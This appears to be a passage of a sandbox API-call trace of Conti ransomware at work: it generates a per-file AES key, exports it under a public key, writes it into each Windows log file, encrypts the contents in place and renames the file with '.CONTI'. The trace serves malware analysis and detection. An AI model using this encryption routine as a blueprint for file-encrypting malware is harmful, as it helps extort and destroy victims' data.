	[0121.327] ReadFile (in: hFile=0x3e8, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2000, lpOverlapped=0x0) returned 1
	[0123.114] CryptEncrypt (in: hKey=0x6b7eff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2010) returned 1
	[0123.114] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.114] WriteFile (in: hFile=0x3e8, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2010, lpOverlapped=0x0) returned 1
	[0123.114] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.114] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4de08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b4de08*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0123.114] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.114] CloseHandle (hObject=0x3e8) returned 1
	[0123.114] GetProcessHeap () returned 0x1720000
	[0123.114] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0123.635] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl"
	[0123.635] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.CONTI"
	[0123.635] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.008.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.008.etl.conti")) returned 1
	[0123.636] GetProcessHeap () returned 0x1720000
	[0123.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0123.636] CryptDestroyKey (hKey=0x6b7eff8) returned 1
	[0123.636] GetProcessHeap () returned 0x1720000
	[0123.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a8c0 | out: hHeap=0x1720000) returned 1
	[0123.636] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0123.636] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b52ba0 | out: phKey=0x6b52ba0*=0x6b7f4f8) returned 1
	[0123.636] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52ba4, pdwDataLen=0x587f8ac | out: pbData=0x6b52ba4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0123.637] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.005.etl")) returned 0x2020
	[0123.637] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0123.637] GetLastError () returned 0x0
	[0123.637] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=12288) returned 1
	[0123.637] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0123.638] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.638] SetEndOfFile (hFile=0x304) returned 1
	[0123.638] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.638] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.638] WriteFile (in: hFile=0x304, lpBuffer=0x6b52ba4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b52ba4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0125.103] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.103] ReadFile (in: hFile=0x304, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x3000, lpOverlapped=0x0) returned 1
	[0125.104] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x3000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x3010) returned 1
	[0125.104] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.104] WriteFile (in: hFile=0x304, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x3010, lpOverlapped=0x0) returned 1
	[0129.184] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.184] WriteFile (in: hFile=0x304, lpBuffer=0x6b52b98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b52b98*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0129.189] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.189] CloseHandle (hObject=0x304) returned 1
	[0129.193] GetProcessHeap () returned 0x1720000
	[0129.194] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.194] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl"
	[0129.194] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.CONTI"
	[0129.194] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.005.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.005.etl.conti")) returned 1
	[0129.204] GetProcessHeap () returned 0x1720000
	[0129.204] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.204] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0129.204] GetProcessHeap () returned 0x1720000
	[0129.204] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8a40 | out: hHeap=0x1720000) returned 1
	[0129.204] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0129.204] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b48760 | out: phKey=0x6b48760*=0x17c80b0) returned 1
	[0129.204] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48764, pdwDataLen=0x587f8ac | out: pbData=0x6b48764*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0129.210] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.034.etl")) returned 0x2020
	[0129.210] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.034.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0129.210] GetLastError () returned 0x0
	[0129.210] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=16384) returned 1
	[0129.210] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4000
	[0129.210] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.210] SetEndOfFile (hFile=0x304) returned 1
	[0129.211] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.211] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.211] WriteFile (in: hFile=0x304, lpBuffer=0x6b48764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b48764*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0129.212] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.212] ReadFile (in: hFile=0x304, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x4000, lpOverlapped=0x0) returned 1
	[0129.213] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x4000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x4010) returned 1
	[0129.213] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.213] WriteFile (in: hFile=0x304, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x4010, lpOverlapped=0x0) returned 1
	[0129.213] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.213] WriteFile (in: hFile=0x304, lpBuffer=0x6b48758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b48758*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0129.213] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.213] CloseHandle (hObject=0x304) returned 1
	[0129.213] GetProcessHeap () returned 0x1720000
	[0129.213] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.213] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl"
	[0129.213] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl.CONTI"
	[0129.213] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.034.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.034.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.034.etl.conti")) returned 1
	[0129.214] GetProcessHeap () returned 0x1720000
	[0129.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.214] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0129.214] GetProcessHeap () returned 0x1720000
	[0129.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02ce8 | out: hHeap=0x1720000) returned 1
	[0129.214] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0129.214] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b442f0 | out: phKey=0x6b442f0*=0x17c7ef0) returned 1
	[0129.214] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b442f4, pdwDataLen=0x587f8ac | out: pbData=0x6b442f4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0129.215] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.036.etl")) returned 0x2020
	[0129.218] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.036.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0129.218] GetLastError () returned 0x0
	[0129.218] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=8192) returned 1
	[0129.218] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.218] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.218] SetEndOfFile (hFile=0x304) returned 1
	[0129.218] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.218] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.218] WriteFile (in: hFile=0x304, lpBuffer=0x6b442f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b442f4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0129.219] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.219] ReadFile (in: hFile=0x304, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2000, lpOverlapped=0x0) returned 1
	[0129.220] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2010) returned 1
	[0129.220] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.220] WriteFile (in: hFile=0x304, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2010, lpOverlapped=0x0) returned 1
	[0129.220] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.220] WriteFile (in: hFile=0x304, lpBuffer=0x6b442e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b442e8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0129.220] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.220] CloseHandle (hObject=0x304) returned 1
	[0129.220] GetProcessHeap () returned 0x1720000
	[0129.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.220] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl"
	[0129.220] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl.CONTI"
	[0129.220] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.036.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.036.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.036.etl.conti")) returned 1
	[0129.221] GetProcessHeap () returned 0x1720000
	[0129.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.221] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0129.221] GetProcessHeap () returned 0x1720000
	[0129.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02358 | out: hHeap=0x1720000) returned 1
	[0129.221] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0129.221] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b44780 | out: phKey=0x6b44780*=0x17c8230) returned 1
	[0129.221] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44784, pdwDataLen=0x587f8ac | out: pbData=0x6b44784*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0129.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.001.etl")) returned 0x2020
	[0129.222] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0129.222] GetLastError () returned 0x0
	[0129.222] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=8192) returned 1
	[0129.222] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.222] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.223] SetEndOfFile (hFile=0x304) returned 1
	[0129.223] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.223] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.223] WriteFile (in: hFile=0x304, lpBuffer=0x6b44784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b44784*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0129.224] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.224] ReadFile (in: hFile=0x304, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2000, lpOverlapped=0x0) returned 1
	[0129.224] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2010) returned 1
	[0129.224] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.225] WriteFile (in: hFile=0x304, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2010, lpOverlapped=0x0) returned 1
	[0129.225] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.225] WriteFile (in: hFile=0x304, lpBuffer=0x6b44778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b44778*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0129.225] SetFilePointer (in: hFile=0x304, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.225] CloseHandle (hObject=0x304) returned 1
	[0129.557] GetProcessHeap () returned 0x1720000
	[0129.557] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0129.557] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl"
	[0129.557] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl.CONTI"
	[0129.557] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.001.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.001.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.001.etl.conti")) returned 1
	[0129.587] GetProcessHeap () returned 0x1720000
	[0129.587] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0129.587] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.587] GetProcessHeap () returned 0x1720000
	[0129.588] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbe98 | out: hHeap=0x1720000) returned 1
	[0129.588] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0130.180] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x17c7f30) returned 1
	[0130.180] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x587f8ac | out: pbData=0x6b5203c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0130.181] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico")) returned 0x20
